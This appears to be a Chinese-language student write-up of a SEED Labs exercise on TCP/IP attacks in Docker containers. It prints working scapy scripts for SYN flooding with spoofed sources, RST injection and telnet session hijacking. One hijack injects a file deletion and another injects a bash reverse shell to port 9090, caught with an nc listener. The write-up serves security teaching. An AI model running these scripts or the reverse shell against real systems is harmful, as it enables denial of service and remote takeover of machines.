TCP/IP攻击

SeedLab网络实验TCP/IP攻击过程记录整理,还有待进一步补充,存疑之处欢迎指正和探讨!

实验来源:seed-labs

实验环境:配置指南

启动docker实验环境

注意以下叙述区分虚拟机和容器的区别,是在虚拟机上拉取的docker镜像。

  • cd Labsetup

  • docker-compose up -d

  • docker ps --format "{{ .ID }} {{ .Names }}"

    /images/tcp0.png

  • 给容器开一个shell,docker exec -it <id> /bin/bash

    If a docker command requires a container ID, you do not need to type the entire ID string. Typing the first few characters will be sufficient, as long as they are unique among all the containers.

    /images/tcp1.png

  • exit退出

验证

In this lab, we need to telnet from one containter to another. We have already created an account called seed inside all the containers. Its password is dees. You can telnet into this account.

/images/tcp2.png

Task1: SYN Flooding Attack

前置说明

检查半连接队列大小和队列状态

  • sysctl net.ipv4.tcp_max_syn_backlog

    /images/tcp3.png

  • netstat -nat

    /images/tcp4.png

This mechanism is called SYN cookie. It will kick in if the machine detects that it is under the SYN flflood ing attack.By default, Ubuntu’s SYN flflooding countermeasure is turned on.

在构建victim容器时已在docker-compose.yml中将其关闭:

1
2
sysctls:
                - net.ipv4.tcp_syncookies=0

在ubuntu内查看当前状态和开关syncookies的命令(下述-w设置命令需特权权限):

1
2
3
# sysctl -a | grep syncookies (Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)

实例1:User1无特权

/images/tcp5.png

实例2:Victim有特权

/images/tcp6.png

查阅了相关资料是说denied是因为要求在sudo也就是root下执行。而我是通过telnet登录seed用户,并不是root。

查阅资料发现可以改变进入容器时的权限,通过-u直接提权:

  • docker exec -it -u root <id> /bin/bash

  • sysctl -w net.ipv4.tcp_syncookies=1,成功

    /images/tcp7.png

  • 当然没有特权即时root也不行

    /images/tcp8.png

其实直接通过docker exec -it <id> /bin/bash也是进入root用户,对docker和实验环境还不够熟悉…

使用python发起攻击

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")#构造一个目的地址为10.9.0.5的IP数据包
tcp = TCP(dport=23, flags='S')#构造目的端口为23的tcp包,标志为S即SYN包
pkt = ip/tcp#使用/操作符来给数据包加上一层。例如构造一个TCP数据包,在IP层指明数据包的目的地址。在TCP层可以设定数据包的目的端口等等。UDP数据包同理。
#很多时候一个数据包是由多个协议组成的,组成形式使用/分割,协议顺序由底层逐渐向上,例如构造一个tcp数据包:tcp = Ether()/IP()/TCP()
while True:
	pkt[IP].src = str(IPv4Address(getrandbits(32))) #随机生成source iP
	pkt[TCP].sport = getrandbits(16) #随机生成source port
	pkt[TCP].seq = getrandbits(32) #随机生成sequence number
	send(pkt, verbose = 0)
#由于源地址和源端口都是随机的,导致victim在收到syn包后返回的syn/ack包是到一个大概率的不存在的机器上,导致没有ack确认包

#verbose – set verbosity level,verbose是否显示发包信息
#当verbose=0表示不显示正在发送的信息
#当verbose=1表示显示发包信息
#scapy发送数据包有常用的如下几种方法:
# send(pkt)  发送三层数据包,但不会受到返回的结果。
# sr(pkt)  发送三层数据包,返回两个结果,分别是接收到响应的数据包和未收到响应的数据包。
# sr1(pkt)  发送三层数据包,仅仅返回接收到响应的数据包。
# sendp(pkt)  发送二层数据包。
# srp(pkt)  发送二层数据包,并等待响应。
# srp1(pkt)  发送第二层数据包,并返回响应的数据包
#层是指工作在第几层,如send()工作在第三层,而sendp()工作在第二层。send()是用来发送IP数据包的,而sendp()是用来发送Ether数据包的。
#参考:https://www.cnblogs.com/Chinori/p/11560211.html
#参考:https://blog.csdn.net/dyx0910/article/details/124412639

attack:

/images/tcp9.png

victim检查连接数netstat -tna | grep SYN_RECV | wc -l,已经占满了,虽说前面是128但是有四分之一是系统已明确的连接,因此实际空间是小于128的:

/images/tcp10.png

user机尝试连接受害机,仍能连上,攻击失败:

image-20221210195523469

排查过程

排查思路主要是按照实验手册所提供的一条条进行尝试:

  1. TCP缓存问题:主要可能是没攻击之前就已经连接过(主要是TCP连接),所以这台用户机似乎对SYN泛洪免疫,仍能连上 => 本质上是内核缓解机制,就是上面所说的当SYN cookies关闭时系统会与预留四分之一的半连接队伍给proven destination,当这些已连接过的用户机(已经被记住了)再次连接时,直接相当于调用缓存里有的即可(队伍里有它的位置了),不会造成无空位的情况。

    ip tcp_metrics show 发现确实已存在该连接:

    image-20221210201004314

    解决办法: ip tcp_metrics flush 清空,再次攻击,成功!:

    image-20221210201513021

但是上述攻击成功并不是一直的,有时也会失败。

攻击失败原因探索及成功率比较

  1. TCP重传问题
  2. 队列大小

待补充……

使用C语言发起攻击

Other than the TCP cache issue, all the issues mentioned in previous Task can be resolved if we can send spoofed SYN packets fast enough.

编译运行

Before launching the attack, please restore the queue size to its original value.

  • 在虚拟机环境下编译gcc -o synflood synflood.c,在进入attack容器攻击

    image-20221210202927706

  • synflood 10.9.0.5 23

    image-20221210203038311

    image-20221210203103884

攻击效果

使用一台用户机利用telnet命令访问victim,超时 => 已成功。

image-20221210203339832

两种攻击方式的比较

待补充……

开启SYN Cookie策略

  1. victim开启SYN Cookie防御机制:sysctl -w net.ipv4.tcp_syncookies=1

    image-20221210203634939

  2. 清空TCP缓存,同上。

  3. 发起c语言攻击,结果如下:

    image-20221210203817477

    image-20221210203903025

    成功。防御机制生效了。

  4. 再清空缓存发起python攻击,结果同上,syn泛洪不起效。

Task 2: TCP RST Attacks on telnet Connections

The TCP RST Attack can terminate an established TCP connection between two victims.

手动攻击

以victim容器作为服务端,user1作为客户端,虚拟机VM作为攻击主机

  1. 在虚拟机上打开Wireshark,监听any网卡,filter: telnet

    image-20221210233007122

  2. 从用户机user1 telnet到victim后随便执行一条命令,如ls,抓victim发往user1的包,注意一定得是找最后一个,这样才能找到正确的下一个序列号。

    image-20221210233157756

  3. 根据截获的源地址、目标地址、端口号以及序列号,构造RST数据包

    1
    2
    3
    4
    5
    6
    7
    
    #!/usr/bin/env python3
    from scapy.all import *
    ip = IP(src="10.9.0.5", dst="10.9.0.6")
    tcp = TCP(sport=23, dport=58584, flags="R", seq=1535522062)
    pkt = ip/tcp
    ls(pkt)
    send(pkt, verbose=0)
    
  4. 在虚拟机端执行上述python脚本:sudo python3 rstattack.py

    image-20221210233702515

  5. 攻击结果,可以发现telnet连接已被断开。成功!

    image-20221210233435819

自动攻击

自动脚本 => 利用scapy的sniff功能嗅探出序列号等信息,并进行攻击包的伪造发送。

成品开发中……

Task 3: TCP Session Hijacking

img

In this task, you need to demonstrate how you can hijack a telnet session between two computers. Your goal is to get the telnet server to run a malicious command from you.

手动攻击

以victim容器作为服务端,user1作为客户端,虚拟机VM作为攻击主机

  1. 在虚拟机上打开Wireshark,监听any网卡,filter: telnet

  2. 在服务端创建一个文件new.txt

    image-20221212000050292

  3. 从用户机user1 telnet到victim,查看刚才创建的文件。

    image-20221212000143743

劫持目标:删除服务器上的new.txt

  1. 抓包,在客户端和服务端进行通讯后,直接抓最后一个包。

    image-20221212000220555

  2. 根据截获的当前二者通信的最后一个包中的源地址、目标地址、端口号、序列号以及Ack伪造下一个要发送的tcp包。

    端口互换并采用 Next sequence number 作为下一个包的ack 、采用ack作为下一个包的seq。复习TCP三次握手等!

    1
    2
    3
    4
    5
    6
    7
    8
    
    #!/usr/bin/env python3
    from scapy.all import *
    ip = IP(src="10.9.0.6", dst="10.9.0.5")
    tcp = TCP(sport=36498, dport=23, flags="A", seq=3699741602, ack=3039952057)
    data = "\r rm -rf new.txt\r"
    pkt = ip/tcp/data
    ls(pkt)
    send(pkt, verbose=0)
    
  3. 在虚拟机端发起攻击sudo python3 sessionhijacking.py,抓包可以看到该包发送,data中就是我们构造的数据,攻击成功!

    image-20221212000516992

    image-20221212000558209

    image-20221212000622364

  4. 进一步验证攻击效果:docker进入victim容器,查看seed用户~目录,发现空,攻击成功!

    image-20221212000914173

参考:

  1. TCP会话劫持原理与测试
  2. Attacks on TCP/IP Protocols (Task5) TCP Session Hijacking

补充1

当会话劫持成功时,客户端会有什么特点,输入一些字符时什么现象?为什么?

image-20221212000655892

可以发现当劫持成功时,客户端在刚才的telnet连接下会有类似卡住的现象,想要输入一些字符发现是没有反应的(这也是为什么第七步进一步验证没在这个telnet连接里做,而是选择了docker新开一个终端进入victim验证)。即表现为与服务器交互没有反应,失去与服务器的会话连接。

image-20221212000844135

抓包可以发现在客户端尝试输入字符时会出现TCP spurious retransmission包(虚假重传)。关于TCP 虚假重传是指发送端重发了一个已经收到应答的报文段或者说是发送端认为发送的package已经丢失了,所以重传了,尽管此时接收端已经发送了对这些包的确认。

img

回到会话劫持这个问题上,我们是通过抓包已通信的最后一个包,获取其nextseq和ack进而构造出理论的下一个包的seq和在ack实现劫持,也就是说攻击主机已经将这个seq用掉了,并且服务端已经返回ack确认包。但是又在客户端尝试输入,输入内容所发的包用的还是刚才的seq(参见此张截图此张截图,重点关注两个包的seq是相同的),因为客户端并不知道被劫持seq被使用过了,所以又用相同的seq第二次发包,seq作为标识,相同意味着会被看做同一个包,即发送端重发了一个已经收到应答的报文段,造成虚假重传,并不会收到服务端的确认,即表现为没有交互反应,失去与服务器的会话连接。抓包中出现大量虚假重传记录的条数,本质上有点类似死循环,互相都在发一个对方已经丢弃(前面已确认)的包。

参考资料:

  1. Spurious Retransmissions - a Concern?
  2. What are TCP Spurious Retransmissions?
  3. spurious retransmission timeouts理解
  4. #干货满满#wireshark异常数据
  5. wireshark一些术语解释

补充2

当序列号设置的大一点会有什么现象?

当前转最后一个通信包结果如下:

image-20221212121850394

伪造tcp包如下(将序列号设置的大一点):

1
2
3
4
5
6
7
8
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=47050, dport=23, flags="A", seq=1854277585, ack=124645373)
data = "\r touch new1.txt\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

发起攻击sudo python3 sessionhijacking.py

查看客户端,输入字符ls,可以发现此时可以输入,但是创建new1.txt文件并没有成功。

image-20221212122646270

抓包,可以明显看到刚才的会话劫持,若发送一个较大序列号的包会出现TCP Previous segment not captured的报错,也就是这个序列号之前的包并没收到,所以并没有响应malicious command。

image-20221212122610526

后续194~214四个包则是执行ls命令所发出的telnet包,可以看到最后一个ack是1854277580,距离我们设置的序列号1854277585还有几个包,因此再尝试一次ls命令。

image-20221212123424167

到这一步,我再尝试输入l时,客户端又没有响应了:

image-20221212124420431

抓包可以看到,服务端会返回l的单个字符,并期望客户端下一个包序列号是1854277602。

image-20221212124400014

随后就能看到他会执行先前因为previous segment没有收到而没执行的伪造包并返回(现在序列号满足要求了),创建了new1.txt,同样新建shell进入victim查看效果,攻击成功。

image-20221212124950730

image-20221212130021760

没反应的l又是出现虚假重传问题,同理补充1。

image-20221212124915542

疑惑

关于补充2,总体上目前理解是伪造包将序列号设置的大一些,直接发送后,服务端不会马上执行,同时此时telnet的客户端也不会没有响应(有序列号可以发包,还没发到相同的seq的包),等到了伪造的序列号时,服务端会直接自动执行刚才未执行的伪造包,执行相应的malicious command,随后客户端又会陷入没响应状态,同理补充1。

但是对于细节,这个服务端返回的l和后面虚假重传的l是什么关联?理论上按的一次l应该也是能发包的能显示的,为什么没有响应和发包记录?不应该按第二次l才会造成虚假重传?289和291两个包的seq和ack如何理解?…再研究再研究,计网还得好好复习,欢迎指教和探讨!

自动攻击

自动脚本 => 利用scapy的sniff功能嗅探出序列号等信息,并进行攻击包的伪造发送。

成品开发中……

Task 4: Creating Reverse Shell using TCP Session Hijacking

In the TCP session hijacking attack, attackers cannot directly run a command on the victim machine, so their jobs is to run a reverse-shell command through the session hijacking attack.

验证Reverse Shell

涉及2台容器,attacker和victim

  1. attacker中监听9090端口,nc -lnv 9090

    • -l 使用监听模式,管控传入的资料。
    • -n 直接使用IP地址,而不通过域名服务器。
    • -v 显示指令执行过程。

    image-20221212002451097

  2. victim中执行逆向shell命令 /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1

    • “/bin/bash -i”: i stands for interactive, meaning that the shell must be interactive (must provide a shell prompt)
    • “> /dev/tcp/10.9.0.1/9090”: This causes the output (stdout) of the shell to be redirected to the tcp connection to 10.9.0.1’s port 9090. The output stdout is represented by file descriptor number 1.
    • “0<&1”: File descriptor 0 represents the standard input (stdin). This causes the stdin for the shell to be obtained from the tcp connection.
    • “2>&1”: File descriptor 2 represents standard error stderr. This causes the error output to be redirected to the tcp connection.

    有助理解:

    1. 理解 shell 脚本中的常见用法: 2>&1
    2. Linux反弹shell(一)文件描述符与重定向
    3. Linux 反弹shell(二)反弹shell的本质

    image-20221212004619531

    image-20221212004638358

通过会话劫持获取Reverse Shell

以victim容器作为服务端,user1作为客户端,虚拟机VM作为攻击主机

劫持目标:user1和victim进行telnet连接,攻击主机进行会话劫持并获得victim的reverse shell。

  1. user1 telnet 连接victim

    image-20221212100006810

  2. 抓包,同理任务3。

    image-20221212100046220

  3. 伪造tcp包,重点修改data也就是我们的malicious command

    1
    2
    3
    4
    5
    6
    7
    8
    
    #!/usr/bin/env python3
    from scapy.all import *
    ip = IP(src="10.9.0.6", dst="10.9.0.5")
    tcp = TCP(sport=46984, dport=23, flags="A", seq=683647009, ack=1421447214)
    data = "\r /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1 \r"
    pkt = ip/tcp/data
    ls(pkt)
    send(pkt, verbose=0)
    
  4. 在攻击主机上首先监听9090端口并发起攻击,查看结果。

    image-20221212100729260

    image-20221212100854141

    image-20221212100918674

  5. 验证,通过ifconfig命令查看逆向shell ip。

    image-20221212101004096

    可以发现当前得到的shell ip是10.9.0.5,正是服务端(victim)的ip,即在攻击主机上获得服务端reverse shell成功!

参考资料:网络安全攻防实验

0%